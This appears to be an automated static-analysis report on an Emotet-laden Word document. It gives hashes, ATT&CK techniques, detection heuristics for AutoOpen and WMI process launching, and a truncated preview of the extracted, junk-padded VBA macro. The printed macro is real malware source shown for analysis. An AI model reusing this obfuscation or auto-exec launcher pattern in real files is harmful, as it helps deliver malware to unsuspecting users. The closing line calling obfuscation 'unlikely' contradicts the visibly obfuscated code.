Emotet — Office (OOXML) malware analysis

Static analysis result for SHA-256 82e1e3df0f694eb0…

MALICIOUS

Office (OOXML)

154.0 KB Created: 2019-09-16 06:40:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-04
MD5: d717d96065b8fb5fb93ba5766d96eb34 SHA-1: 12039b3e2b7e484d70509b1aebc2ee778ad05fc3 SHA-256: 82e1e3df0f694eb0211a9d5291b43356953764557f25bd7b7b1de129b520ed17
322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen function, which is a common technique for Emotet. The macro utilizes CreateObject to launch Win32_Process via WMI, indicating an intent to execute a second-stage payload. ClamAV detections further support the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7167592-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7167592-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 8889 bytes
SHA-256: 8d1f4e87caa2c5b5bdac35aea746fb6546a0a886b60d053b59cea296bba965ce
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "EUVaRUK, 0, 0, MSForms, OptionButton"
Attribute VB_Control = "NJnK8cG, 1, 1, MSForms, OptionButton"
Attribute VB_Control = "piQvT3i, 2, 2, MSForms, OptionButton"
Attribute VB_Control = "U9KIQh, 3, 3, MSForms, OptionButton"
Attribute VB_Control = "zYTTd8Kz, 4, 4, MSForms, OptionButton"
Attribute VB_Control = "V2LsOT, 5, 5, MSForms, OptionButton"
Attribute VB_Control = "jVAO2Tw, 6, 6, MSForms, OptionButton"
Attribute VB_Control = "wAAUB8ku, 7, 7, MSForms, OptionButton"
Attribute VB_Control = "Y_sHV3, 8, 8, MSForms, OptionButton"
Attribute VB_Control = "A_SQkNU, 9, 9, MSForms, OptionButton"
Attribute VB_Control = "jpuNm6, 10, 10, MSForms, OptionButton"
Attribute VB_Control = "M5pd2GoO, 11, 11, MSForms, OptionButton"
Attribute VB_Control = "sMaiw5cq, 12, 12, MSForms, OptionButton"
Attribute VB_Control = "GMnWoN3, 13, 13, MSForms, OptionButton"
Attribute VB_Control = "nFwAL4r, 14, 14, MSForms, OptionButton"
Attribute VB_Control = "spkD1k, 15, 15, MSForms, OptionButton"
Attribute VB_Control = "pkzzWfvB, 16, 16, MSForms, OptionButton"
Attribute VB_Control = "iLh9T7, 17, 17, MSForms, OptionButton"
Attribute VB_Control = "nvkwjtY, 18, 18, MSForms, OptionButton"
Attribute VB_Control = "P6Y7fuKp, 19, 19, MSForms, OptionButton"

Attribute VB_Name = "ELSqi8tX"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "vWpVa5w"

Attribute VB_Name = "TE42XBi"

Attribute VB_Name = "b27nOiHa"

Attribute VB_Name = "zPOtOY"

Attribute VB_Name = "THSiNLr"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "KDKdG99"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "MfZItK"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "zIidL8Rz"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "mT1ozf"
Function iJRv_Lw()
   Dim nQdAqLI As Object
If 477 = 553 Then
Dim lQmiDbj As Boolean
   Select Case Gk3btZ
      Case 313
Dim djptwUG As Boolean
         hGTo_tQh = BaA2NC0
Dim fUhE2Hnm As Boolean
         v7jOHzZ = 487
Dim H3l6W7I As Boolean
         ibr1lTs = CVar(599)
Dim BdhWGr As Boolean
      Case 365
Dim cfL4DzR As Boolean
         vAZKJs9 = H9FVMhfq
Dim tzv6C6 As Boolean
         wqlnaQA = CVar(K85vjSJi)
Dim KTpXYb9 As Boolean
         IGXQvF0Z = 130
Dim c1UwzTu As Boolean
   End Select
End If
Xf9aX4F9 = H9wf85i + ThisDocument.pkzzWfvB.Caption + ThisDocument.nvkwjtY.Caption + ThisDocument.jpuNm6.Caption + tiGwi7A
   Dim PzfOkN As Object
If 369 = 493 Then
Dim tq2k_i As Boolean
   Select Case pqsPQw7l
      Case 389
Dim jhotwZd As Boolean
         zJ4jGE = uX5Ew_
Dim Gnhwh46n As Bool
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 49152 bytes
SHA-256: c18226eaa7d796256413a5cd3210dcd1c9f1302c82922d60225dbfa2e79a3450
Detection
ClamAV: Doc.Downloader.Emotet-7167592-0
Obfuscation or payload: unlikely